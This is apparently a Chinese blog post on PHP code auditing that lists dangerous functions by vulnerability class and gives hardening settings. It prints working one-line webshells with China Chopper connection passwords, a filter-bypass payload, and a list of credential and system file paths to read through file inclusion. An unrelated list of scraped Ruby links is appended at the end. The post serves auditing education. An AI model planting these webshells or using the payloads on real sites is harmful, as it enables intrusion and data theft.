草庐IT

PHP代码审计——PHP中常见的敏感函数列表

Mauro_K 2023-12-29 原文

文章目录


前言

      PHP中常见的敏感函数列表。


一、PHP中的敏感函数——命令注入漏洞

     1)exec()

      命令执行函数,执行一个外部程序,不显示输出。

<?php
	echo exec('whoami');
?>

     2)system ()

      命令执行函数,执行一个外部程序,显示输出。

<?php
	system('whoami');
?>

     3)passthru ()

      命令执行函数,执行一个外部程序,显示原始输出。

<?php
	passthru('whoami');
?>

     4)shell_exec ()

      通过shell 环境执行命令,并且将完整的输出以字符串的方式返回。值得一提的是,这个函数跟执行操作符(反引号``)具有等同效力。

<?php
	echo shell_exec('whoami');
	echo "<br>";
	echo `whoami`;
?>

     5)popen() / proc_open()

      该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

<?php
	$cmd = $_POST['cmd'].">> 1.txt";
	//此时的$cmd=ipconfig >> 1.txt
	popen("$cmd",'r'); //实际上就是 popen("ipconfig >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。

二、PHP中的敏感函数——代码注入漏洞

     1)eval()

      该函数把字符串当做php代码来计算,并且字符串必须是合法的php代码,要以分号结尾。小马传大马利用 fputs 函数和 fopen 函数。

# 没有被过滤
<?php @eval($_POST['cmd']);?>

# addslashes 过滤
# ${${}} 绕过
cmd=${${phpinfo()}}

     2)assert()

      该函数会检查一个指定断言。断言是一个逻辑学词汇,主要用于程序员来进行假设判断。断言只有两种类型,字符串型或者布尔型,当断言为false时返回字符串表达式。如果断言是字符串那么会当做php代码执行。

<?php @assert($_GET["cmd"]);?>
cmd=phpinfo();

     3)preg_replace()

      如果正则规则中使用/e修饰符,则存在代码执行漏洞。7.0版本后/e已经移除了。

<?php	
	preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>

     4)call_user_func()

      把第一个参数作为回调函数调用,后面的参数作为回调函数的参数。

<?php
	# 传入的参数作为assert函数的参数
	call_user_func("assert",$_POST['cmd']);
?>

     5)call_user_func_array()

      与之类似,只是传入参数为数组。

#将传入的参数作为数组的第一个值传递给assert函数
#cmd=system(whoami)
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);

     6)create_function()

      创建匿名函数,此函数返回唯一的函数名称一个字符串,否则出错返回false。7.0以后被移除了。

<?php
	$a = $_GET['a'];
	$func = create_function('$a','eval($a);');
	$func($a);
?>

     7)array_map()

      将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

#命令执行http://localhost/123.php?func=system   cmd=whoami
#菜刀连接http://localhost/123.php?func=assert   密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

     8)array_filter()

      依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php 
	//?func=system&cmd=whoami
	$cmd=$_GET['cmd'];
	$array1=array($cmd);
	$func =$_GET['func'];
	array_filter($array1,$func);
?>

     9)usort() / uasort()

      usort() 通过用户自定义的比较函数对数组进行排序。
      uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

php环境>=<5.6才能用
命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
<?php
    usort($_GET,'asse'.'rt');
?>

三、PHP中的敏感函数——文件包含漏洞

      当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

     1)allow_url_include() 和allow_url_fopen()

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

      在配置为on的情况下,它可以直接包含远程文件,当存在include($ var)且$ var可控的情况下,可以直接控制$ var变量来执行PHP代码。在PHP5.2.0后默认为off,配置范围是PHP_INI_ALL。

<?php
include $_GET['a'];
?>

     2)include()

      include() 如果出错的话,只会提出警告,会继续执行后续语句。

     3)include_once()

      与include类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

     4)require()

      reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

     5)require_once()

      与require类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

     6)php伪协议

  • php://input,利用条件:allow_url_include= On。对allow_url_fopen不做要求。当enctype=“multipart/form-data” 的时候 php://input 是无效的。
  • php://filter,利用条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
  • phar://,这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。利用条件:php版本大于等于php5.3.0
  • zip://,zip伪协议和phar协议类似。利用条件:php版本大于等于php5.3.0
  • data://URI schema(例:data:text/plain,data:text/plain),利用条件:php版本大于等于php5.2。allow_url_fopen = On;allow_url_include = On;和php伪协议的input类似,碰到file_get_contents()来用;
  • file://,通过file协议可以访问本地文件系统,读取到文件的内容。

     7)常见文件包含路径

      windows:

  • C:\boot.ini // 查看系统版本
  • C:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
  • C:\windows\repair\sam // 存储Windows系统初次安装的密码
  • C:\ProgramFiles\mysql\my.ini // MySQL配置
  • C:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
  • C:\windows\php.ini // php 配置信息
          Linux/Unix系统:
  • /etc/passwd // 账户信息
  • /etc/shadow // 账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
  • /usr/local/app/php5/lib/php.ini // PHP相关配置
  • /etc/httpd/conf/httpd.conf // Apache配置文件
  • /etc/my.conf // mysql 配置文件

四、PHP中的敏感函数——文件上传/写入

     1)file_put_contents():把一个字符串写入文件中(不存在会自动创建)。
     2)move_uploaded_file():移动临时上传文件。
     3)rename:重命名文件/目录
     4)rmdir:删除目录
     5)mkdir:创建目录
     6)unlink:删除文件
     7)fopen/fputs/fwrite:打开文件或者 URL

五、PHP中的敏感函数——文件读取/下载

     1)file_get_contents():把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。
     2)allow_url_fopen():该配置为ON的情况下,它可以读取远程文件,当存在fopen($ var)且$ var变量可控的情况下,可以直接控制变量来SSRF。allow_url_fopen()默认配置是on,配置范围是PHP_INI_SYSTEM。

<?php
fopen($_GET['a'],	'r');
?>

     3)任意文件下载关键词:download()配合filepath或者file

六、PHP中的敏感函数——SQL注入

     1)SQL 注入因为要操作数据库,所以一般会查找 SQL 语句关键字:insert、delete、update、select,查看传递的变量参数是否用户可控制,有无做过安全处理。

七、PHP中的敏感函数——变量覆盖

      变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完 整的攻击。
     1)$$:代表可变变量。

<?php
$var='hello';
$$var='world'; //$hello='world'
echo $var.'</br>';
echo $$var.'</br>';
echo $hello;
?>


     2)extract():从数组中将变量导入到当前的符号表。

<?php
$var="don9";
extract($_GET);
if($var == "sec"){
echo $var;
}
else echo $var;
?>

覆盖前:

覆盖后:

     3)parse_str():把查询字符串解析到变量中。
     4)import_request_variables():将 GET/POST/Cookie 变量导入到全局作用域中(相当于开启全局变量注册), 所以如果禁止了 register_globals,但又想用到一些全局变量,则可以使用该函数。
     5)mb_parse_str():解析 GET/POST/COOKIE 数据并设置全局变量。
     6)Register_globals=ON 时,GET 方式提交变量会直接覆盖。本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

八、PHP中的敏感函数——动态函数

     1)当使用动态函数时,如果用户对变量可控,则可导致攻击者执行任意函数。

<?php
	$myfunc = $_GET['myfunc' font>];
	$myfunc();
?>

九、PHP中的敏感函数——PHP环境设置

     1)open_basedir 设置

      open_basedir 能限制应用程序能访问的目录,检查有没有对 open_basedir 进行设置,当然有的通过 web 服务器来设置,例如:apache 的 php_admin_value,nginx+fcgi 通过 conf 来控制 php 设置。

     2)allow_url_fopen 设置

      如果 allow_url_fopen=ON,那么 php 可以读取远程文件进行操作,这个容易被攻击者利用。

     3)allow_url_include 设置

      如果 allow_url_include=ON,那么 php 可以包含远程文件,会导致严重漏洞。

     4)safe_mode_exec_dir 设置

      这个选项能控制 php 可调用的外部命令的目录,如果 PHP 程序中有调用外部命令,那么指定外部命令的目录,能控制程序的风险。

     5)magic_quotes_gpc 设置

      这个选项能转义提交给参数中的特殊字符,建议设置 magic_quote_gpc=ON。本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

     6)register_globals 设置

      开启这个选项,将导致 php 对所有外部提交的变量注册为全局变量,后果相当严重。本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

     7)safe_mode 设置

      safe_mode 是 PHP 的重要安全特性,建议开启。

     8)session_use_trans_sid 设置

      如果启用 session.use_trans_sid,会导致 PHP 通过 URL 传递会话 ID,这样一来,攻击者就更容易劫持当前会话,或者欺骗用户使用已被攻击者控制的现有会话。

     9)display_errors 设置

      如果启用此选项,PHP 将输出所有的错误或警告信息,攻击者能利用这些信息获取 web 根路径等敏感信息。

     10)disable_functions设置

      本指令可以使你出于安全的理由禁用某些类。用逗号)分隔类名。disble dass不受安全模式的影响。本指令只能设置在php.ini中。例如不能将其设责置ttpd.conf。当你想用本指令禁止一些危险函数时, 切记要把dI()函数也加到禁止列表,因为攻击者可以利用dI()函数来加载自定义的PHP扩展以突破disable_ functions指令的限制。

有关PHP代码审计——PHP中常见的敏感函数列表的更多相关文章

  1. ruby - 如何在 buildr 项目中使用 Ruby 代码? - 2

    如何在buildr项目中使用Ruby?我在很多不同的项目中使用过Ruby、JRuby、Java和Clojure。我目前正在使用我的标准Ruby开发一个模拟应用程序,我想尝试使用Clojure后端(我确实喜欢功能代码)以及JRubygui和测试套件。我还可以看到在未来的不同项目中使用Scala作为后端。我想我要为我的项目尝试一下buildr(http://buildr.apache.org/),但我注意到buildr似乎没有设置为在项目中使用JRuby代码本身!这看起来有点傻,因为该工具旨在统一通用的JVM语言并且是在ruby中构建的。除了将输出的jar包含在一个独特的、仅限ruby​​

  2. ruby-on-rails - Rails 源代码 : initialize hash in a weird way? - 2

    在rails源中:https://github.com/rails/rails/blob/master/activesupport/lib/active_support/lazy_load_hooks.rb可以看到以下内容@load_hooks=Hash.new{|h,k|h[k]=[]}在IRB中,它只是初始化一个空哈希。和做有什么区别@load_hooks=Hash.new 最佳答案 查看rubydocumentationforHashnew→new_hashclicktotogglesourcenew(obj)→new_has

  3. ruby - RVM 使用列表[0] - 2

    是否有类似“RVMuse1”或“RVMuselist[0]”之类的内容而不是键入整个版本号。在任何时候,我们都会看到一个可能包含5个或更多ruby的列表,我们可以轻松地键入一个数字而不是X.X.X。这也有助于rvmgemset。 最佳答案 这在RVM2.0中是可能的=>https://docs.google.com/document/d/1xW9GeEpLOWPcddDg_hOPvK4oeLxJmU3Q5FiCNT7nTAc/edit?usp=sharing-知道链接的任何人都可以发表评论

  4. ruby - 在没有 sass 引擎的情况下使用 sass 颜色函数 - 2

    我想在一个没有Sass引擎的类中使用Sass颜色函数。我已经在项目中使用了sassgem,所以我认为搭载会像以下一样简单:classRectangleincludeSass::Script::FunctionsdefcolorSass::Script::Color.new([0x82,0x39,0x06])enddefrender#hamlengineexecutedwithcontextofself#sothatwithintemlateicouldcall#%stop{offset:'0%',stop:{color:lighten(color)}}endend更新:参见上面的#re

  5. ruby-on-rails - 在 ruby​​ 中使用 gsub 函数替换单词 - 2

    我正在尝试用ruby​​中的gsub函数替换字符串中的某些单词,但有时效果很好,在某些情况下会出现此错误?这种格式有什么问题吗NoMethodError(undefinedmethod`gsub!'fornil:NilClass):模型.rbclassTest"replacethisID1",WAY=>"replacethisID2andID3",DELTA=>"replacethisID4"}end另一个模型.rbclassCheck 最佳答案 啊,我找到了!gsub!是一个非常奇怪的方法。首先,它替换了字符串,所以它实际上修改了

  6. ruby - 在 Ruby 中有条件地定义函数 - 2

    我有一些代码在几个不同的位置之一运行:作为具有调试输出的命令行工具,作为不接受任何输出的更大程序的一部分,以及在Rails环境中。有时我需要根据代码的位置对代码进行细微的更改,我意识到以下样式似乎可行:print"Testingnestedfunctionsdefined\n"CLI=trueifCLIdeftest_printprint"CommandLineVersion\n"endelsedeftest_printprint"ReleaseVersion\n"endendtest_print()这导致:TestingnestedfunctionsdefinedCommandLin

  7. ruby-on-rails - 浏览 Ruby 源代码 - 2

    我的主要目标是能够完全理解我正在使用的库/gem。我尝试在Github上从头到尾阅读源代码,但这真的很难。我认为更有趣、更温和的踏脚石就是在使用时阅读每个库/gem方法的源代码。例如,我想知道RubyonRails中的redirect_to方法是如何工作的:如何查找redirect_to方法的源代码?我知道在pry中我可以执行类似show-methodmethod的操作,但我如何才能对Rails框架中的方法执行此操作?您对我如何更好地理解Gem及其API有什么建议吗?仅仅阅读源代码似乎真的很难,尤其是对于框架。谢谢! 最佳答案 Ru

  8. ruby - 模块嵌套代码风格偏好 - 2

    我的假设是moduleAmoduleBendend和moduleA::Bend是一样的。我能够从thisblog找到解决方案,thisSOthread和andthisSOthread.为什么以及什么时候应该更喜欢紧凑语法A::B而不是另一个,因为它显然有一个缺点?我有一种直觉,它可能与性能有关,因为在更多命名空间中查找常量需要更多计算。但是我无法通过对普通类进行基准测试来验证这一点。 最佳答案 这两种写作方法经常被混淆。首先要说的是,据我所知,没有可衡量的性能差异。(在下面的书面示例中不断查找)最明显的区别,可能也是最著名的,是你的

  9. ruby - 寻找通过阅读代码确定编程语言的ruby gem? - 2

    几个月前,我读了一篇关于ruby​​gem的博客文章,它可以通过阅读代码本身来确定编程语言。对于我的生活,我不记得博客或gem的名称。谷歌搜索“ruby编程语言猜测”及其变体也无济于事。有人碰巧知道相关gem的名称吗? 最佳答案 是这个吗:http://github.com/chrislo/sourceclassifier/tree/master 关于ruby-寻找通过阅读代码确定编程语言的rubygem?,我们在StackOverflow上找到一个类似的问题:

  10. ruby - Net::HTTP 获取源代码和状态 - 2

    我目前正在使用以下方法获取页面的源代码:Net::HTTP.get(URI.parse(page.url))我还想获取HTTP状态,而无需发出第二个请求。有没有办法用另一种方法做到这一点?我一直在查看文档,但似乎找不到我要找的东西。 最佳答案 在我看来,除非您需要一些真正的低级访问或控制,否则最好使用Ruby的内置Open::URI模块:require'open-uri'io=open('http://www.example.org/')#=>#body=io.read[0,50]#=>"["200","OK"]io.base_ur

随机推荐